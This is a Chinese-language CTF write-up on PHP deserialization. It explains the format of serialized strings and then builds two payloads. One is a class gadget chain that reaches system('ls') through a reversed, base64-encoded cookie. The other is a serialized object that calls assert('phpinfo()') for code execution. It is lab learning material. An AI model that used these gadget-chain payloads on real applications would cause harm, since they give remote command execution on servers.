对于php反序列化,在之前的学习中有过了解,但是对于序列化字符串的格式不是很了解,刚好接触这题,可以了解一下
| 布尔型(bool) | b:value |
| 整数型(int) | i:value |
| 字符串型(str) | s:length:"value" |
| 数组型(array) | a:length:{...} |
| 对象型(object) | O:length:class_name:properties_number{...} |
| NULL型 |
![]()
- O:4:"User":1:{s:7:"isAdmin";b:0;}
- //“O”代表序列化对象,说明我们序列化的部分是对象,如果序列化的是数组的话就是A
- //“4”代表类的名字占4个字符
- //“User”代表类名
- //“1”代表具有一个属性(这个位置应该不陌生,在对wakeup魔术方法绕过时,就可以通过修改属性数量来绕过)
- //“s”代表字符串
- //“7”代表属性名长度
- //“isAdmin”属性名
- //“b”代表布尔型数据
- //“0”代表布尔值
明确了各部分的含义之后,在学习之后的字符逃逸时就会好理解一些
打开环境一片空白

正常的步骤,源代码,dirsearch,抓包,通过这三种方法来获取信息是比较方便有效的

cookie中有个user,不寻常,通过base64解密查看一下(就是刚刚分析的那个字符串)
![]()
页面是空的,可能是因为user中的布尔值是空的,改成1试一试

出现了熟悉的反序列化,但是也有陌生的东西,只用二次翻转就可以了
strrev():
php函数,有反转字符串的功能
echo strrev("Hello World!"); ?>
分析代码,应该是想让我们通过class B 来进行命令执行,那么怎么触发call方法,A里面也没有不可访问的方法,但是可以注意到A中出现了一个实例化的过程,并且对三个属性都进行了调用,func和args就是B中执行的属性,所以是不是可以在A中实例化B来触发魔术方法,进行命令执行
构造payload
-
- class A {
- public $className="B";
- public $funcName="system";
- public $args="ls";
-
- public function __destruct() {
- $class = new $this->className;
- $funcName = $this->funcName;
- $class->$funcName($this->args);
- }
- }
-
- class B {
- public function __call($func, $arg) {
- $func($arg[0]);
- }
- }
- $a=new A;
- echo base64_encode(strrev(serialize($a)));
-
- ?>
目录下没有看见有效信息,看看环境变量env

php动态函数:
所谓动态函数,就是函数的名字用变量表示的函数。
- function wel(){
- echo 'welcome';
- }
- $result = "wel";
- $result();
- //调用动态函数的方法:
- 定义一个变量名;
- 把函数名赋给变量名;
- 使用变量名代替函数名动态调用函数
打开题目,查看源码
![]()
进入到source中,拿到一串源码,典型的反序列化
-
- #error_reporting(0);
- class HelloPhp
- {
- public $a;
- public $b;
- public function __construct(){
- $this->a = "Y-m-d h:i:s";
- $this->b = "date";
- }
- public function __destruct(){
- $a = $this->a;
- $b = $this->b;
- echo $b($a);
- }
- }
- $c = new HelloPhp;
-
- if(isset($_GET['source']))
- {
- highlight_file(__FILE__);
- die(0);
- }
-
- @$ppp = unserialize($_GET["data"]);
-
-
- 2024-04-25 01:45:07
这里涉及到使用动态函数,通过变量去调用,审查代码可以知道形式为b(a),那么a应该就是一个被执行的命令,b就是让这个字符串被当做命令执行,应该第一反应是eval,但是这里我们使用的是assert;
assert被认定为可变函数
$a = 'assert'; $a('phpinfo()'); ?> # 这就是可变函数可变函数就是指通过变量来调用函数;assert会把字符串参数执行,这个功能和eval类似,但是要求没有eval那么严格
构造payload
- class HelloPhp
- {
- public $a;
- public $b;
- }
- $c = new HelloPhp();
- $c->a = 'phpinfo()';
- $c->b = 'assert';
- echo serialize($c);
在phpinfo中
